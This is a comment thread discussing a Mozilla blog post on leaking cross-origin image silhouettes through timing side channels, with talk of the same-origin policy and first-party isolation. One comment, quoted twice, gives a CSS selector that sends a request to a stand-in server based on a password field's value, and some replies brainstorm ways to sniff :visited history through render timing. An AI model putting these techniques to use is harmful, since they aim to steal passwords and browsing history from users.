Leaking silhouettes of cross-origin images
blog.mozilla.org
Leaking silhouettes of cross-origin images
1–10 of 44 posts
Re: Leaking silhouettes of cross-origin images
#2Reminds me of “pixel perfect attacks with html5” from several years ago. That attack used css/svg filters + timing. https://www.contextis.com/media/downloads/Pixel_Perfect_Timi...
Re: Leaking silhouettes of cross-origin images
#3There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors:
input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); }
Re: Leaking silhouettes of cross-origin images
#4The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas.
Does this mean that all engines use the same library? Or does WebKit use something else?
It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.
Re: Leaking silhouettes of cross-origin images
#5Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place.
It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak information via side channels.
Re: Leaking silhouettes of cross-origin images
#6In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests.
The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.
Re: Leaking silhouettes of cross-origin images
#7In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests. The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.
Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context.
That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it serves an image from bar.com, none of the foo.com->bar.com context should be used, only the hat.com->bar.com context.
Disabling third party cookies gets you maybe 60% of this, but we need to keep going, disabling all caches, etc., except as tied to the context of interest. It's probably also time to get rid of the idea of "visited" for a link and similar features that use global information rather than information scoped to the currently visited site. And, of course, eternal vigilance against browser fingerprinting attacks.
Since this would cripple a fair share of targeted advertising, we might not see this appearing in Chrome (although they do offer third-party-cookie-blocking, so there's that), but we should definitely see it in Firefox.
Re: Leaking silhouettes of cross-origin images
#8There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…
This doesn't actually work, the value attribute of the input doesn't change as a user types something.
With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal.
Possibilities might be with mix-blend-mode, @property, or applying "slow" css properties like a blurry text-shadow dozens of times. I've played around with this a little but haven't found a crack yet.
Re: Leaking silhouettes of cross-origin images
#9In my opinion, the SOP is a bad/broken solution for the problem it tries to fix. The problem are browsers, using the authentication from another origin when doing cross-origin requests. The SOP tries to fix it by disallowing certain cross-origin requests. But the problem aren't cross-origin requests. The problem is using the authentication/state of another origin during cross-origin requests.
Exactly -- the context under which a resource should be fetched from a remote should be strictly scoped to the origin. Remote fetches should never use any information from the remote site as a top-level context. That is, if I navigate to foo.com which serves an image from bar.com, bar.com can set cookies, etc., and on future visits to foo.com the foo.com->bar.com context should be used. But if I go to hat.com and it…
I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?
Re: Leaking silhouettes of cross-origin images
#10There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…
This doesn't actually work, the value attribute of the input doesn't change as a user types something. With that said, I still think there is a a big discovery yet to be made with browsers leaking users' history via the :visited selector. Only a few CSS properties can be set with it (all related to color). But if there was a way to detect the color difference or timing of the painting that would be a big deal. Possib…
How about an extremely slow to render zalgo text, switching between opacity 0 and 1 depending on visited?